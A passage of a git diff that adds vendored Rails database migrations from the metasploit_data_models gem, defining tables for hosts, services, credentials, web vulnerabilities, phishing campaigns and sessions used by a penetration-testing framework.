t.text :options + t.timestamps + end + end + + def self.down + drop_table :reports + end + +end + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/012_add_tasks.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/012_add_tasks.rb new file mode 100755 index 0000000000..39004c821e --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/012_add_tasks.rb @@ -0,0 +1,24 @@ +class AddTasks < ActiveRecord::Migration + + def self.up + create_table :tasks do |t| + t.integer :workspace_id, :null => false, :default => 1 + t.string :created_by + t.string :module + t.datetime :completed_at + t.string :path, :limit => 1024 + t.string :info + t.string :description + t.integer :progress + t.text :options + t.text :error + t.timestamps + end + end + + def self.down + drop_table :tasks + end + +end + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/013_add_tasks_result.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/013_add_tasks_result.rb new file mode 100755 index 0000000000..bf01c7afb8 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/013_add_tasks_result.rb @@ -0,0 +1,10 @@ +class AddTasksResult < ActiveRecord::Migration + def self.up + add_column :tasks, :result, :text + end + + def self.down + remove_column :tasks, :result + end +end + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/014_add_loots_fields.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/014_add_loots_fields.rb new file mode 100755 index 0000000000..616d8c96be --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/014_add_loots_fields.rb @@ -0,0 +1,12 @@ +class AddLootsFields < ActiveRecord::Migration + def self.up + add_column :loots, :name, :text + add_column :loots, :info, :text + end + + def self.down + remove_column :loots, :name + remove_column :loots, :info + end +end + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/015_rename_user.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/015_rename_user.rb new file mode 100755 index 0000000000..7934a0f423 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/015_rename_user.rb @@ -0,0 +1,16 @@ +class RenameUser < ActiveRecord::Migration + def self.up + remove_column :events, :user + change_table :events do |t| + t.string :username + end + end + + def self.down + remove_column :events, :username + change_table :events do |t| + t.string :user + end + end +end + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/016_add_host_purpose.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/016_add_host_purpose.rb new file mode 100755 index 0000000000..1e2827801e --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/016_add_host_purpose.rb @@ -0,0 +1,10 @@ +class AddHostPurpose < ActiveRecord::Migration + def self.up + add_column :hosts, :purpose, :text + end + + def self.down + remove_column :hosts, :purpose + end +end + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/017_expand_info2.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/017_expand_info2.rb new file mode 100755 index 0000000000..cee6fd8d3b --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/017_expand_info2.rb @@ -0,0 +1,58 @@ +class ExpandInfo2 < ActiveRecord::Migration + def self.up + remove_column :events, :info + change_table :events do |t| + t.string :info, :limit => 65536 + end + + remove_column :notes, :data + change_table :notes do |t| + t.string :data, :limit => 65536 + end + + remove_column :vulns, :data + change_table :vulns do |t| + t.string :data, :limit => 65536 + end + + remove_column :hosts, :info + change_table :hosts do |t| + t.string :info, :limit => 65536 + end + + remove_column :services, :info + change_table :services do |t| + t.string :info, :limit => 65536 + end + end + + def self.down + + remove_column :events, :info + change_table :events do |t| + t.string :info + end + + remove_column :notes, :data + change_table :notes do |t| + t.string :data, :limit => 4096 + end + + remove_column :hosts, :info + change_table :hosts do |t| + t.string :info, :limit => 4096 + end + + remove_column :vulns, :data + change_table :vulns do |t| + t.string :data, :limit => 4096 + end + + remove_column :services, :info + change_table :services do |t| + t.string :info, :limit => 4096 + end + + end +end + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/018_add_workspace_user_info.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/018_add_workspace_user_info.rb new file mode 100755 index 0000000000..fb5e101fc3 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/018_add_workspace_user_info.rb @@ -0,0 +1,29 @@ +class AddWorkspaceUserInfo < ActiveRecord::Migration + def self.up + change_table :workspaces do |t| + t.string :boundary, :limit => 4096 + end + + change_table :users do |t| + t.string :fullname + t.string :email + t.string :phone + t.string :company + end + end + + def self.down + change_table :workspaces do |t| + t.remove :boundary + end + + change_table :users do |t| + t.remove :fullname + t.remove :email + t.remove :phone + t.remove :company + end + end + +end + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/019_add_workspace_desc.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/019_add_workspace_desc.rb new file mode 100755 index 0000000000..0dc31f0c61 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/019_add_workspace_desc.rb @@ -0,0 +1,23 @@ +class AddWorkspaceDesc < ActiveRecord::Migration + def self.up + change_table :workspaces do |t| + t.string :description, :limit => 4096 + end + + change_table :hosts do |t| + t.string :comments, :limit => 4096 + end + end + + def self.down + change_table :workspaces do |t| + t.remove :description + end + + change_table :hosts do |t| + t.remove :comments + end + end + +end + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/020_add_user_preferences.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/020_add_user_preferences.rb new file mode 100755 index 0000000000..40b472701c --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/020_add_user_preferences.rb @@ -0,0 +1,11 @@ +class AddUserPreferences < ActiveRecord::Migration + def self.up + add_column :users, :prefs, :string, :limit => 524288 + end + + def self.down + remove_column :users, :prefs + end + +end + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/021_standardize_info_and_data.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/021_standardize_info_and_data.rb new file mode 100755 index 0000000000..bb9a2bccd6 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/021_standardize_info_and_data.rb @@ -0,0 +1,18 @@ +class StandardizeInfoAndData < ActiveRecord::Migration + def self.up + # Remove the host requirement. We'll add the column back in below. + remove_column :vulns, :data + change_table :vulns do |t| + t.string :info, :limit => 65536 + end + end + + def self.down + remove_column :vulns, :info + change_table :notes do |t| + t.string :data, :limit => 65536 + + end + end +end + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/022_enlarge_event_info.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/022_enlarge_event_info.rb new file mode 100755 index 0000000000..fec9698c06 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/022_enlarge_event_info.rb @@ -0,0 +1,10 @@ +class EnlargeEventInfo < ActiveRecord::Migration + def self.up + change_column :events, :info, :text + end + + def self.down + change_column :events, :info, :string, :limit => 65535 + end +end + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/023_add_report_downloaded_at.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/023_add_report_downloaded_at.rb new file mode 100755 index 0000000000..7ec5716e82 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/023_add_report_downloaded_at.rb @@ -0,0 +1,10 @@ +class AddReportDownloadedAt < ActiveRecord::Migration + def self.up + add_column :reports, :downloaded_at, :timestamp + end + + def self.down + remove_column :reports, :downloaded_at + end +end + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/024_convert_service_info_to_text.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/024_convert_service_info_to_text.rb new file mode 100755 index 0000000000..14f0a96222 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/024_convert_service_info_to_text.rb @@ -0,0 +1,12 @@ +class ConvertServiceInfoToText < ActiveRecord::Migration + + def self.up + change_column :services, :info, :text + end + + def self.down + change_column :services, :info, :string, :limit => 65536 + end + +end + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/025_add_user_admin.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/025_add_user_admin.rb new file mode 100755 index 0000000000..d077dbd633 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/025_add_user_admin.rb @@ -0,0 +1,19 @@ +class AddUserAdmin < ActiveRecord::Migration + + # Add user admin flag and project member list. + def self.up + add_column :users, :admin, :boolean, :default => true + + create_table :project_members, :id => false do |t| + t.integer :workspace_id, :null => false + t.integer :user_id, :null => false + end + end + + def self.down + remove_column :users, :admin + + drop_table :project_members + end +end + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/026_add_creds_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/026_add_creds_table.rb new file mode 100755 index 0000000000..381ec8373a --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/026_add_creds_table.rb @@ -0,0 +1,19 @@ +class AddCredsTable < ActiveRecord::Migration + def self.up + create_table :creds do |t| + t.integer :service_id, :null => false + t.timestamps + t.string :user, :limit => 2048 + t.string :pass, :limit => 4096 + t.boolean :active, :default => true + t.string :proof, :limit => 4096 + t.string :ptype, :limit => 16 + t.integer :source_id + t.string :source_type + end + end + def self.down + drop_table :creds + end +end + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20100819123300_migrate_cred_data.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20100819123300_migrate_cred_data.rb new file mode 100755 index 0000000000..d752c270f4 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20100819123300_migrate_cred_data.rb @@ -0,0 +1,154 @@ +class MigrateCredData < ActiveRecord::Migration + + def self.up + begin # Wrap the whole thing in a giant rescue. + skipped_notes = [] + new_creds = [] + Mdm::Note.find(:all).each do |note| + next unless note.ntype[/^auth\.(.*)/] + service_name = $1 + if !service_name + skipped_notes << note + next + end + if note.host and note.host.respond_to?(:address) + if note.service + svc_id = note.service.id + else + candidate_services = [] + note.host.services.each do |service| + if service.name == service_name + candidate_services << service + end + end + # Use the default port, or the first port that matches the protocol name. + default_port = case service_name.downcase + when 'ftp'; 21 + when /^smb/; 445 + when /^imap/; 143 + when 'telnet'; 23 + when 'pop3'; 110 + when 'http','domino','axis','wordpress','tomcat'; 80 + when 'tns'; 1521 + when 'snmp'; 161 + when 'mssql'; 1433 + when 'ssh'; 22 + when 'https'; 443 + when 'mysql'; 3306 + when 'db2'; 50000 + when 'postgres'; 5432 + else nil + end + if !default_port + skipped_notes << note + next + end + if candidate_services.size == 1 + svc_id = candidate_services.first.id + elsif candidate_services.empty? + Mdm::Service.new do |svc| + svc.host_id = note.host.id + svc.port = default_port + svc.proto = 'tcp' + svc.state = 'open' + svc.name = service_name.downcase + svc.save! + svc_id = svc.id + end + elsif candidate_services.size > 1 + svc_ports = candidate_services.map{|s| s.port} + if svc_ports.index(default_port) + svc_id = candidate_services[svc_ports.index(default_port)].id + else + svc_id = candidate_services.first.id + end + end + end + else + skipped_notes << note + next + end + if note.data[:hash] + ptype = 'smb_hash' + pass = note.data[:hash] + elsif note.data[:ssh_key] + ptype = 'ssh_key' + pass = note.data[:extra] + else + ptype = 'password' + pass = note.data[:pass] + end + # Format domains and databases into the usernames. + if note.ntype == "auth.smb_challenge" + domain = note.data[:extra].match(/DOMAIN=([^\s]+)/)[1] + if domain + user = [domain, note.data[:user]].join("/") + else + user = note.data[:user] + end + elsif note.ntype =~ /auth\.(postgres|db2)/ + if note.data[:database] + user = [note.data[:database], note.data[:user]].join("/") + else + user = note.data[:user] + end + else + user = note.data[:user] + end + # Not actually a credentials, convert to migrated notes + if service_name == 'smb' && note.data[:token] + skipped_notes << note + next + end + if service_name == 'tns' && note.data[:type] == "bruteforced_sid" + skipped_notes << note + next + end + # Special case for the bizarre reporting for aux/admin/oracle/oracle_login + if service_name == 'tns' && note.data[:type] == "bruteforced_account" + note.data[:data] =~ /([^\x2f]+)\x2f([^\s]+).*with sid (.*)/ + user = "#{$3}/#{$1}" + pass = $2 + end + new_creds << [svc_id, ptype, user, pass] + end + + say "Migrating #{new_creds.size} credentials." + new_creds.uniq.each do |note| + Mdm::Cred.new do |cred| + cred.service_id = note[0] + cred.user = note[2] + cred.pass = note[3] + cred.ptype = note[1] + cred.save! + end + end + + say "Migrating #{skipped_notes.size} notes." + skipped_notes.uniq.each do |note| + Mdm::Note.new do |new_note| + new_note.host_id = note.host_id + new_note.ntype = "migrated_auth" + new_note.data = note.data.merge(:migrated_auth_type => note.ntype) + new_note.save! + end + end + + say "Deleting migrated auth notes." + Mdm::Note.find(:all).each do |note| + next unless note.ntype[/^auth\.(.*)/] + note.delete + end + rescue + say "There was a problem migrating auth credentials. Skipping." + return true # Never fail! + end + end + + + def self.down + raise ActiveRecord::IrreversibleMigration + end + +end + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20100824151500_add_exploited_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20100824151500_add_exploited_table.rb new file mode 100755 index 0000000000..b7897d3832 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20100824151500_add_exploited_table.rb @@ -0,0 +1,16 @@ +class AddExploitedTable < ActiveRecord::Migration + def self.up + create_table :exploited_hosts do |t| + t.integer :host_id, :null => false + t.integer :service_id + t.string :session_uuid, :limit => 8 + t.string :name, :limit => 2048 + t.string :payload, :limit => 2048 + t.timestamps + end + end + def self.down + drop_table :exploited_hosts + end +end + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20100908001428_add_owner_to_workspaces.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20100908001428_add_owner_to_workspaces.rb new file mode 100755 index 0000000000..c136d4b9d7 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20100908001428_add_owner_to_workspaces.rb @@ -0,0 +1,9 @@ +class AddOwnerToWorkspaces < ActiveRecord::Migration + def self.up + add_column :workspaces, :owner_id, :integer + end + + def self.down + remove_column :workspaces, :owner_id + end +end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20100911122000_add_report_templates.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20100911122000_add_report_templates.rb new file mode 100755 index 0000000000..08b06d4c5f --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20100911122000_add_report_templates.rb @@ -0,0 +1,18 @@ +class AddReportTemplates < ActiveRecord::Migration + + def self.up + create_table :report_templates do |t| + t.integer :workspace_id, :null => false, :default => 1 + t.string :created_by + t.string :path, :limit => 1024 + t.text :name + t.timestamps + end + end + + def self.down + drop_table :reports + end + +end + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20100916151530_require_admin_flag.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20100916151530_require_admin_flag.rb new file mode 100755 index 0000000000..d73e18425d --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20100916151530_require_admin_flag.rb @@ -0,0 +1,15 @@ +class RequireAdminFlag < ActiveRecord::Migration + + # Make the admin flag required. + def self.up + # update any existing records + Mdm::User.update_all({:admin => true}, {:admin => nil}) + + change_column :users, :admin, :boolean, :null => false, :default => true + end + + def self.down + change_column :users, :admin, :boolean, :default => true + end + +end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20100916175000_add_campaigns_and_templates.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20100916175000_add_campaigns_and_templates.rb new file mode 100755 index 0000000000..433bdcf65f --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20100916175000_add_campaigns_and_templates.rb @@ -0,0 +1,61 @@ + +class AddCampaignsAndTemplates < ActiveRecord::Migration + + def self.up + create_table :campaigns do |t| + t.integer :workspace_id, :null => false + t.string :name, :limit => 512 + # Serialized, stores SMTP/other protocol config options etc. + t.text :prefs + t.integer :status, :default => 0 + t.timestamp :started_at + t.timestamps + end + + create_table :email_templates do |t| + t.string :name, :limit => 512 + t.string :subject, :limit => 1024 + t.text :body + t.integer :parent_id + t.integer :campaign_id + end + create_table :attachments do |t| + t.string :name, :limit => 512 + t.binary :data + t.string :content_type, :limit => 512 + t.boolean :inline, :null => false, :default => true + t.boolean :zip, :null => false, :default => false + end + create_table :attachments_email_templates, :id => false do |t| + t.integer :attachment_id + t.integer :email_template_id + end + + create_table :email_addresses do |t| + t.integer :campaign_id, :null => false + t.string :first_name, :limit => 512 + t.string :last_name, :limit => 512 + t.string :address, :limit => 512 + t.boolean :sent, :null => false, :default => false + t.timestamp :clicked_at + end + + create_table :web_templates do |t| + t.string :name, :limit => 512 + t.string :title, :limit => 512 + t.string :body, :limit => 524288 + t.integer :campaign_id + end + end + + def self.down + drop_table :campaigns + drop_table :email_templates + drop_table :attachments + drop_table :attachments_email_templates + drop_table :email_addresses + drop_table :web_templates + end + +end + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20100920012100_add_generate_exe_column.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20100920012100_add_generate_exe_column.rb new file mode 100755 index 0000000000..7b055b268f --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20100920012100_add_generate_exe_column.rb @@ -0,0 +1,8 @@ +class AddGenerateExeColumn < ActiveRecord::Migration + def self.up + add_column :email_templates, :generate_exe, :boolean, :null => false, :default => false + end + def self.down + remove_column :email_templates, :generate_exe + end +end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20100926214000_add_template_prefs.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20100926214000_add_template_prefs.rb new file mode 100755 index 0000000000..70b84d0734 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20100926214000_add_template_prefs.rb @@ -0,0 +1,11 @@ +class AddTemplatePrefs < ActiveRecord::Migration + def self.up + remove_column :email_templates, :generate_exe + add_column :email_templates, :prefs, :text + add_column :web_templates, :prefs, :text + end + def self.down + remove_column :email_templates, :prefs + remove_column :web_templates, :prefs + end +end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101001000000_add_web_tables.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101001000000_add_web_tables.rb new file mode 100755 index 0000000000..e55bf286b5 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101001000000_add_web_tables.rb @@ -0,0 +1,57 @@ +class AddWebTables < ActiveRecord::Migration + + def self.up + create_table :web_sites do |t| + t.integer :service_id, :null => false + t.timestamps + t.string :vhost, :limit => 2048 + t.text :comments + t.text :options + end + + create_table :web_pages do |t| + t.integer :web_site_id, :null => false + t.timestamps + t.text :path + t.text :query + t.integer :code, :null => false + t.text :cookie + t.text :auth + t.text :ctype + t.timestamp :mtime + t.text :location + t.text :body + t.text :headers + end + + create_table :web_forms do |t| + t.integer :web_site_id, :null => false + t.timestamps + t.text :path + t.string :method, :limit => 1024 + t.text :params + end + + create_table :web_vulns do |t| + t.integer :web_site_id, :null => false + t.timestamps + t.text :path + t.string :method, :limit => 1024 + t.text :params + t.text :pname + t.text :proof + t.integer :risk + t.string :name, :limit => 1024 + end + + end + + def self.down + drop_table :web_sites + drop_table :web_pages + drop_table :web_forms + drop_table :web_vulns + end +end + + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101002000000_add_query.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101002000000_add_query.rb new file mode 100755 index 0000000000..f22d0f2954 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101002000000_add_query.rb @@ -0,0 +1,10 @@ +class AddQuery < ActiveRecord::Migration + def self.up + add_column :web_forms, :query, :text + add_column :web_vulns, :query, :text + end + def self.down + remove_column :web_forms, :query + remove_column :web_vulns, :query + end +end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101007000000_add_vuln_info.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101007000000_add_vuln_info.rb new file mode 100755 index 0000000000..34c1eb3fd9 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101007000000_add_vuln_info.rb @@ -0,0 +1,15 @@ +class AddVulnInfo < ActiveRecord::Migration + def self.up + add_column :web_vulns, :category, :text + add_column :web_vulns, :confidence, :text + add_column :web_vulns, :description, :text + add_column :web_vulns, :blame, :text + end + def self.down + remove_column :web_forms, :category + remove_column :web_vulns, :confidence + remove_column :web_vulns, :description + remove_column :web_vulns, :blame + end +end + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101008111800_add_clients_to_campaigns.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101008111800_add_clients_to_campaigns.rb new file mode 100755 index 0000000000..6281f91343 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101008111800_add_clients_to_campaigns.rb @@ -0,0 +1,10 @@ + +class AddClientsToCampaigns < ActiveRecord::Migration + def self.up + add_column :clients, :campaign_id, :integer + end + + def self.down + remove_column :clients, :campaign_id + end +end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101009023300_add_campaign_attachments.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101009023300_add_campaign_attachments.rb new file mode 100755 index 0000000000..6baf770f29 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101009023300_add_campaign_attachments.rb @@ -0,0 +1,15 @@ + + +class AddCampaignAttachments < ActiveRecord::Migration + + def self.up + add_column :attachments, :campaign_id, :integer + end + + def self.down + remove_column :attachments, :campaign_id + end + +end + + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101104135100_add_imported_creds.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101104135100_add_imported_creds.rb new file mode 100755 index 0000000000..92eb12d474 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101104135100_add_imported_creds.rb @@ -0,0 +1,17 @@ +class AddImportedCreds < ActiveRecord::Migration + + def self.up + create_table :imported_creds do |t| + t.integer :workspace_id, :null => false, :default => 1 + t.string :user, :limit => 512 + t.string :pass, :limit => 512 + t.string :ptype, :limit => 16, :default => "password" + end + end + + def self.down + drop_table :imported_creds + end + +end + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101203000000_fix_web_tables.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101203000000_fix_web_tables.rb new file mode 100755 index 0000000000..2056369ed7 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101203000000_fix_web_tables.rb @@ -0,0 +1,34 @@ +class FixWebTables < ActiveRecord::Migration + + def self.up + change_column :web_pages, :path, :text + change_column :web_pages, :query, :text + change_column :web_pages, :cookie, :text + change_column :web_pages, :auth, :text + change_column :web_pages, :ctype, :text + change_column :web_pages, :location, :text + change_column :web_pages, :path, :text + change_column :web_vulns, :path, :text + change_column :web_vulns, :pname, :text + + add_column :web_pages, :request, :text + add_column :web_vulns, :request, :text + end + + def self.down + change_column :web_pages, :path, :text + change_column :web_pages, :query, :text + change_column :web_pages, :cookie, :text + change_column :web_pages, :auth, :text + change_column :web_pages, :ctype, :text + change_column :web_pages, :location, :text + change_column :web_pages, :path, :text + change_column :web_vulns, :path, :text + change_column :web_vulns, :pname, :text + + remove_column :web_pages, :request + remove_column :web_vulns, :request + end +end + + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101203000001_expand_host_comment.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101203000001_expand_host_comment.rb new file mode 100755 index 0000000000..1a0bc1bc51 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101203000001_expand_host_comment.rb @@ -0,0 +1,12 @@ +class ExpandHostComment < ActiveRecord::Migration + + def self.up + change_column :hosts, :comments, :text + end + + def self.down + change_column :hosts, :comments, :string, :limit => 4096 + end +end + + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101206212033_add_limit_to_network_to_workspaces.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101206212033_add_limit_to_network_to_workspaces.rb new file mode 100755 index 0000000000..7365e14f9d --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101206212033_add_limit_to_network_to_workspaces.rb @@ -0,0 +1,9 @@ +class AddLimitToNetworkToWorkspaces < ActiveRecord::Migration + def self.up + add_column :workspaces, :limit_to_network, :boolean, :null => false, :default => false + end + + def self.down + remove_column :workspaces, :limit_to_network + end +end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110112154300_add_module_uuid_to_tasks.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110112154300_add_module_uuid_to_tasks.rb new file mode 100755 index 0000000000..f41bc6a813 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110112154300_add_module_uuid_to_tasks.rb @@ -0,0 +1,9 @@ +class AddModuleUuidToTasks < ActiveRecord::Migration + def self.up + add_column :tasks, :module_uuid, :string, :limit => 8 + end + + def self.down + remove_column :tasks, :module_uuid + end +end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110204112800_add_host_tags.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110204112800_add_host_tags.rb new file mode 100755 index 0000000000..d07c885c35 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110204112800_add_host_tags.rb @@ -0,0 +1,28 @@ +class AddHostTags < ActiveRecord::Migration + + def self.up + + create_table :tags do |t| + t.integer :user_id + t.string :name, :limit => 1024 + t.text :desc + t.boolean :report_summary, :null => false, :default => false + t.boolean :report_detail, :null => false, :default => false + t.boolean :critical, :null => false, :default => false + t.timestamps + end + + create_table :hosts_tags, :id => false do |t| + t.integer :host_id + t.integer :tag_id + end + + end + + def self.down + drop_table :hosts_tags + drop_table :tags + end + +end + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110317144932_add_session_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110317144932_add_session_table.rb new file mode 100755 index 0000000000..15ac8852bb --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110317144932_add_session_table.rb @@ -0,0 +1,110 @@ +class AddSessionTable < ActiveRecord::Migration + + class Event < ActiveRecord::Base + serialize :info + end + + class SessionEvent < ActiveRecord::Base + belongs_to :session + end + + class Session < ActiveRecord::Base + has_many :events, :class_name => 'AddSessionTable::SessionEvent' + serialize :datastore + end + + def self.up + + create_table 